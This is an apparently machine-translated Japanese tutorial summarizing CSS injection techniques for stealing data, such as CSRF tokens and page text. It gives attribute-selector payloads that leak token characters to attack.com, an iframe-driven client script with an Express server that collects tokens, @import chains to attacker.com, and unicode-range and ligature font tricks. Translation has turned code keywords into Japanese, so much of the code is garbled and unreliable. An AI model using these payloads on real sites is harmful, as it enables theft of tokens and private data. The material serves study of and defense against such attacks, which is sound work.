CSSインジェクションの知識の要約

CSSインジェクションの知識の要約

最近のブラウザでは、CSS 内で JavaScript を実行することはできなくなりました。以前は、CSS インジェクションによって JavaScript プロトコルが使用され、url() および expression() 内で JavaScript コードが実行され、XSS が実現されていました。しかし、CSS インジェクションは依然としてデータの盗難に非常に有効です。以下で 1 つずつ分析してみましょう。

CSSインジェクションはタグ属性データを盗む

CSS では属性セレクターを使用して、さまざまな属性に基づいてタグを選択できます。たとえば、次の CSS は、a 属性を持ち、その値が abc である p タグを選択します。

<style>p[a="abc"]{ 色: 赤; }
 <pa="abc">こんにちは世界</p>

属性セレクターは、XXX で始まる、XXX で終わるなど、値の特定の特性と一致させることもできます。

上記のプロパティを使用すると、ページ タグ属性内のデータを盗むことができます。たとえば、csrfToken が特定の文字で始まる場合、攻撃者は url() を通じて通知を受け、csrfToken の最初の数字を盗むことができます。

<スタイル>
入力[値^="0"] {
    背景: url(http://attack.com/0);
}
入力[値^="1"] {
    背景: url(http://attack.com/1);
}
入力[値^="2"] {
    背景: url(http://attack.com/2);
}
...
入力[値^="Y"] {
    背景: url(http://attack.com/Y);
}
入力[値^="Z"] {
    背景: url(http://attack.com/Z);
}
</スタイル>

<input name="csrfToken" value="ZTU1MzE1YjRiZGQMRmNjYwMTAzYjk4YjhjNGI0ZA==">

最初はZ、次に2番目を盗む

<スタイル>
入力[値^="Z0"] {
    背景: url(http://attack.com/0);
}
...
入力[値^="ZZ"] {
    背景: url(http://attack.com/Z);
}
</スタイル>
<input name="csrfToken" value="ZTU1MzE1YjRiZGQMRmNjYwMTAzYjk4YjhjNGI0ZA==">

隠された謎を解く

もちろん、まだ問題が残っています。タグtype=hiddenの場合、ブラウザはbackground設定を許可しないため、サーバーへの url() リクエストをトリガーできません。

1 つの解決策は、~ CSS 兄弟セレクターを使用して、後続のすべての兄弟ノードの背景を設定することです。

入力[値^="Z"] ~*{
    背景: url(http://attack.com/Z);
}

バッチ実装

もちろん、桁数が短く、可能性が少ない場合はすべてをリストできますが、通常は数が多すぎるため、バッチで取得するためのトリックを使用する必要があります。

CSS インジェクションの対象となる Web サイトが次のとおりであり、入力タグ内の csrfToken 値を盗むことが目的であると仮定します。

<!DOCTYPE html>
<html>
<ヘッド>
    <title>CSS インジェクション</title>
</head>
<本文>
<input type=hidden name="csrfToken" value=<?=md5(date("h"))?>>
<入力タイプ="" 名前="">
<スタイル><?php echo $_GET['css']?></スタイル>
</本文>
</html>

iframe付き

CSS インジェクションのある Web サイトのレスポンス ヘッダーがX-Frame-Optionsによって保護されていない場合、悪意のあるページを作成し、 js を使用して脆弱な Web サイトを含む iframe を作成し、 CSS インジェクションを使用して csrfToken 値を取得し、 url()を介してサーバーに送信できます。 サーバーはフロントエンド js に、2 番目の値を盗むための iframe の作成を継続するように指示し、すべてが読み取られるまで上記の操作を継続します。もちろん、そのためには、脆弱な Web サイトのコンテンツが要求されるたびに変更されないことが必要です。

ここで問題があります。サーバーはどのようにしてフロントエンド js に CSS を構築するよう指示するのでしょうか? 上記の例のように、盗まれた最初のビットが Z の場合、2 番目のペイロードは Z で始まる必要があります。

以下のペイロードは https://medium.com/bugbountywriteup/exfiltrate-via-css-injection-4e999f63097d から取得されています。

アイデアとしては、フロントエンド js が setTimeout を使用して定期的にサーバーに要求し、サーバーが CSS を挿入して取得したトークンを返すというものです。

<html>
    <スタイル>
        #フレーム{
            可視性: 非表示;
        }
    </スタイル>
    <本文>
        <div id="現在"></div>
        <div id="次の時間までの時間"></div>
        <div id="フレーム"></div>
    </本文>
    <スクリプト>
        vuln_url = 'http://127.0.0.1:8084/vuln.php?css=';
        server_receive_token_url = 'http://127.0.0.1:8083/receive/';
        server_return_token_url = 'http://127.0.0.1:8083/return';

        文字 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".split("");
        既知 = "";

        関数 test_char(既知の文字) {
            // すべてのフレームを削除します
            document.getElementById("フレーム").innerHTML = "";

            // 既知の文字に文字を追加します
            css = build_css(chars.map(v => known + v));

            // 攻撃を試すために iframe を作成します。`X-Frame-Options` がこれをブロックしている場合は、新しいタブを使用できます...
            フレーム = document.createElement("iframe");
            frame.src = vuln_url + css;
            frame.style="visibility: hidden;"; // こっそりこっそりしなきゃ
            document.getElementById("frames").appendChild(frame);

            // iframe が読み込まれた後 1 秒以内に、応答があったかどうかを確認します
            setTimeout(関数() {
                var oReq = 新しい XMLHttpRequest();
                oReq.addEventListener("load", known_listener);
                oReq.open("GET", server_return_token_url);
                oReq.send();
            }, 1000);
        }

        関数build_css(値) {
            css_payload = "";
            for(var value in values) {
                css_payload += "入力[値^=\""
                    + 値[値]
                    + "\"]~*{背景画像:url(" 
                    + サーバー受信トークン URL
                    + 値[値]
                    + ")%3B}"; //URL ではセミコロンが意味を持つため、実際のセミコロンは使用できません
            }
            css_payload を返します。
        }

        関数known_listener() {
            document.getElementById("current").innerHTML = "現在のトークン: " + this.responseText;
            if(既知 != this.responseText) {
                既知 = this.responseText;
                test_char(既知の文字数);
            } それ以外 {
                既知 = this.responseText;
                alert("CSRF トークンは: " + 既知です);
            }
        }

        test_char("", 文字);
    </スクリプト>
</html>

サーバー コードは、ペイロードに合わせて私が作成しました。

var express = require('express');
var app = express();
var パス = require('パス');
var トークン = "";

app.get('/receive/:token', 関数(req, res) {
    トークン = req.params.token;
    console.log(トークン)
    res.send('ok');
});

app.get('/return', 関数(req, res){
    res.send(トークン);
});

app.get('/client.html', 関数(req, res){
    res.sendFile(path.join(__dirname, 'client.html'));
})


var server = app.listen(8083, 関数() {
    var ホスト = server.address().address
    var ポート = server.address().port
    console.log("http://%s:%s でリッスンしているサンプル アプリ"、ホスト、ポート)
})

別の方法としては、サーバー経由でトークンを Cookie に書き込み、Cookie が変更されたかどうかを定期的に確認する方法があります。

また、一部のマスターは、WebSocket を使用してよりエレガントに実装していることもわかりました。出典: github.com

iframeなし

https://github.com/dxa4481/cssInjection iframe を使わないインジェクションの方法を紹介します。

原理も非常に単純です。脆弱なページを導入するために iframe を使用することはできないため、 window.openを通じて新しいウィンドウを継続的に開くことができ、上記と同様の効果が得られます。もちろん、この方法ではユーザーのクリック動作を乗っ取る必要があります。そうしないと、ブラウザは新しいウィンドウを開くことを禁止します。

この記事では、バックグラウンド サーバーを使用せずに、 service workersを使用してクライアント要求をインターセプトし、取得したトークン値をローカルのローカル ストレージに保存するソリューションも提案しています。

@輸入

Chrome の @import 機能を使用したこの方法は、この記事で提案されています: https://medium.com/@d0nut/better-exfiltrate-via-html-injection-31c72a2dae8bこの方法の利点は、ページを更新せずにすべてのトークンを取得でき、iframe が不要であることです。ただし、欠点は Chrome でのみ使用でき、その特性上、スタイル タグ ヘッダーに挿入する必要があることです。

外部スタイルを導入するための一般的な<link>タグに加えて、 @importを通じて CSS を導入することもできます。

url をインポートします(http://style.com/css.css);

ただし、@import はスタイルシート ヘッダーの最初に宣言する必要があり、セミコロンが必要です。 @importによって導入されたスタイルシートは、対応するインライン スタイルを直接置き換えます。

上記の効果を実装すると、Chrome は @import 外部スタイルシートが返されるたびにページの他のスタイルシートを再計算します。この機能を使用して @import をネストし、1 回のリクエストでトークン全体を取得できます。

これは彼の記事からの写真ですが、非常に鮮明です。

この図は、盗まれるデータの長さが3であると仮定しています。最初に挿入されるCSSコンテンツは@import url(http://attacker.com/staging);で、これは次のコードを返します。

@import url(http://attacker.com/polling?len=0);
@import url(http://attacker.com/polling?len=1);
@import url(http://attacker.com/polling?len=2);

このとき、ページ@import url(http://attacker.com/polling?len=0);スタイルシートを取得する必要があり、トークンを盗むペイロードを返します。

@import url(http://attacker.com/polling?len=1);盗まれたデータがサーバーに送信された後に応答します。応答は盗まれたデータの 2 番目のビットです。

この記事では、この脆弱性を悪用するための非常に簡単に使用できるオープンソース ツールも紹介しています。

https://github.com/d0nutptr/sic

タグコンテンツデータを盗む

タグコンテンツデータの窃取は比較的厄介です。昨年のxctf決勝でもこれに関する問題が出ました。

ユニコード範囲を使用して推測する

https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html の考え方に従えば、 @font-faceのフォント記述unicode-rangeを指定して、特定の文字が存在する場合にサーバーに通知することができます。

<スタイル>
@フォントフェイス{
 フォントファミリ:poc;
 src: url(http://attacker.example.com/?A); /* 取得済み */
 ユニコード範囲:U+0041;
}
@フォントフェイス{
 フォントファミリ:poc;
 src: url(http://attacker.example.com/?B); /* フェッチも */
 ユニコード範囲:U+0042;
}
@フォントフェイス{
 フォントファミリ:poc;
 src: url(http://attacker.example.com/?C); /* 取得されませんでした */
 ユニコード範囲:U+0043;
}
#機密情報{
 フォントファミリ:poc;
}
</スタイル>
<p id="sensitive-information">AB</p>

もちろん、これはどの文字が含まれているかを示すだけであり、文字数が多すぎると意味がなくなります。しかし、それは良いアイデアであり、特定の状況では役立つかもしれません。

合字の使用

これは、昨年 xctf マスターが問題を解決するために使用した方法です。

簡単に言うと、合字は複数の文字の組み合わせです。詳細については、Baidu で検索してください。ここでは、すべての文字の幅を 0 に設定し、合字フラグの幅を非常に大きく設定したフォントを独自に作成できます。このとき、指定したタグの内容にflag列が表示されると、幅によってスクロールバーが表示されます。スクロールバーが表示されたら、url() を使用してサーバーに要求します。

この方法では、逆方向に推測し続けることができます。フォントとペイロードの作成の詳細については、こちらを参照してください。

要約する

CSSインジェクションの知識のまとめはこれで終わりです。CSSインジェクションに関するより関連性の高いコンテンツについては、123WORDPRESS.COMの過去の記事を検索するか、以下の関連記事を引き続き閲覧してください。今後とも123WORDPRESS.COMをよろしくお願いいたします。

<<:  高品質なコードを書く Web フロントエンド開発実践書の抜粋

>>:  Apache をインストールした後、サービスを開始できません (サービスを開始するとエラー コード 1 が表示されます)

推薦する

CSS の画像パスの問題に関する議論 (同じパッケージ/異なるパッケージ)

CSS ファイルでは、背景を使用する、つまり背景画像を追加する必要がある場合があります。これは通常、...

CentOS ベースの OpenStack 環境の展開に関する詳細なチュートリアル (OpenStack のインストール)

エフェクト表示: 環境準備コントローラーノード: 6GB 4時間60GB/30GB/30GB計算ノー...

初心者のためのウェブサイト構築入門 - ウェブサイト構築に必要な条件とツール

今日は、初心者の次のような質問に答えます。学ぶ勇気さえあれば、自分のウェブサイトを構築するのは簡単で...

React はモバイル端末を構築するために antd-mobile+postcss を導入しました

antd-mobileをインストールするグローバル輸入 npm をインストール antd-mobil...

キープアライブキャッシュをクリアする方法の詳細なグラフィック説明

目次オープニングシーンv-for を使用した直接レンダリングカスタムコンポーネントで直接レンダリング...

Unicode の数学記号の概要

数学、物理学、および一部の科学技術分野で使用される特殊記号は多数あります。Unicode コードには...

Nginx メモリプールのソースコード分析

目次メモリプールの概要1. nginxデータ構造2. nginxはOSからスペースngx_creat...

Node.js のワーカー スレッドの詳細な理解

目次概要Node.js における CPU バウンド アプリケーションの歴史CPUを集中的に使用する操...

MySQL 5.7 と Mac 上の MySql の詳細なインストール図をダウンロードする

1.ブラウザに次のアドレスを入力します参考: 2. 次のインターフェースに入ります。下の場所をクリッ...

MySQL で最大接続数を正しく変更する 3 つの方法

MySQL データベースをインストールすると、デフォルトの MySQL データベースの最大接続数が ...

JavaScript フロー制御 (ループ)

目次1. forループ2. 二重の for ループ3. whileループ4. dowhileループ5...

Docker 学習: コンテナ コンテナの具体的な使用方法

コンテナは Docker のもう一つの中心的な概念です。簡単に言えば、コンテナとは、独立して実行され...

nginxのインストールと設定の詳細なプロセス記録

目次1 nginxの紹介1 nginxとは何か2 つのアプリケーション シナリオ2 nginxのイン...

Mac Docker x509証明書の問題を解決する

質問最近、プライベートミラーセンターにログインする必要がありましたが、ログイン時にエラーメッセージが...

HTML におけるブロックコメントの使用に関する詳細な紹介

HTML の一般的なコメント: <!--XXXXXXXX--> (XXXXXXXX はコ...